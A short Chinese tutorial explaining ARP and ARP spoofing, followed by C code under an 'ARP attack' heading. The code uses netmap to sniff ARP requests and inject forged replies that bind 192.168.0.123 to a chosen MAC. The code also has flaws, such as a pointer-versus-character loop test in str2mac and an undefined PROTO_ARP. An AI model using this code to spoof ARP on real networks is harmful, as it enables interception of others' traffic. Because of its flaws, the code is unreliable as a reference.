ARP简介
ARP是什么
ARP(地址解析协议),是根据IP地址获取物理地址的一个TCP/IP协议。主机发送信息时将包含目标IP地址的ARP请求广播到局域网络上的所有主机,并接收返回消息,以此确定目标的物理地址。
ARP攻击
- 局域网中的成员需要将网络数据发送出局域网,进入广域网,需要经过网关转发数据,但是一开始并不知道网关是在哪里,那么就需要广播寻找网关
- 现在局域A与B属于同一局域网,A开始寻找网关,向局域网发起广播,B收到ARP广播后,立刻回复:我这边是网关,来找我呀。
- A得到了虚假网关信息,开始将信息发向B, 又或者B伪造的一个物理地址。
ARP协议内容
code
头文件
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <sys/poll.h>
#include <arpa/inet.h>
#define NETMAP_WITH_LIBS
#include <net/netmap_user.h>
ARP协议
struct ethhdr {
unsigned char h_dest[ETH_ALEN];
unsigned char h_source[ETH_ALEN];
unsigned short h_proto;
};
struct arphdr {
unsigned short h_type;
unsigned short h_proto;
unsigned char h_addrlen;
unsigned char protolen;
unsigned short oper;
unsigned char smac[ETH_ALEN];
unsigned int sip;
unsigned char dmac[ETH_ALEN];
unsigned int dip;
};
struct arppkt {
struct ethhdr eh;
struct arphdr arp;
};
ARP攻击
void print_mac(unsigned char *mac) {
int i = 0;
for (i = 0;i < ETH_ALEN-1;i ++) {
printf("%02x:", mac[i]);
}
printf("%02x", mac[i]);
}
void print_ip(unsigned char *ip) {
int i = 0;
for (i = 0;i < 3;i ++) {
printf("%d.", ip[i]);
}
printf("%d", ip[i]);
}
void print_arp(struct arppkt *arp) {
print_mac(arp->eh.h_dest);
printf(" ");
print_mac(arp->eh.h_source);
printf(" ");
printf("0x%04x ", ntohs(arp->eh.h_proto));
printf(" ");
}
int str2mac(char *mac, char *str) {
char *p = str;
unsigned char value = 0x0;
int i = 0;
while (p != '\0') {
if (*p == ':') {
mac[i++] = value;
value = 0x0;
} else {
unsigned char temp = *p;
if (temp <= '9' && temp >= '0') {
temp -= '0';
} else if (temp <= 'f' && temp >= 'a') {
temp -= 'a';
temp += 10;
} else if (temp <= 'F' && temp >= 'A') {
temp -= 'A';
temp += 10;
} else {
break;
}
value <<= 4;
value |= temp;
}
p ++;
}
mac[i] = value;
return 0;
}
void echo_arp_pkt(struct arppkt *arp, struct arppkt *arp_rt, char *hmac) {
memcpy(arp_rt, arp, sizeof(struct arppkt));
memcpy(arp_rt->eh.h_dest, arp->eh.h_source, ETH_ALEN);
str2mac(arp_rt->eh.h_source, hmac);
arp_rt->eh.h_proto = arp->eh.h_proto;
arp_rt->arp.h_addrlen = 6;
arp_rt->arp.protolen = 4;
arp_rt->arp.oper = htons(2);
str2mac(arp_rt->arp.smac, hmac);
arp_rt->arp.sip = arp->arp.dip;
memcpy(arp_rt->arp.dmac, arp->arp.smac, ETH_ALEN);
arp_rt->arp.dip = arp->arp.sip;
}
int main() {
struct ethhdr *eh;
struct pollfd pfd = {
0};
struct nm_pkthdr h;
unsigned char *stream = NULL;
struct nm_desc *nmr = nm_open("netmap:eth0", NULL, 0, NULL);
if (nmr == NULL) {
return -1;
}
pfd.fd = nmr->fd;
pfd.events = POLLIN;
while (1) {
int ret = poll(&pfd, 1, -1);
if (ret < 0) continue;
if (pfd.revents & POLLIN) {
stream = nm_nextpkt(nmr, &h);
eh = (struct ethhdr*)stream;
if (ntohs(eh->h_proto) == PROTO_ARP) {
struct arppkt *arp = (struct arppkt *)stream;
struct arppkt arp_rt;
if (arp->arp.dip == inet_addr("192.168.0.123")) {
echo_arp_pkt(arp, &arp_rt, "00:50:56:33:1c:ca");
nm_inject(nmr, &arp_rt, sizeof(struct arppkt));
}
}
}
}
}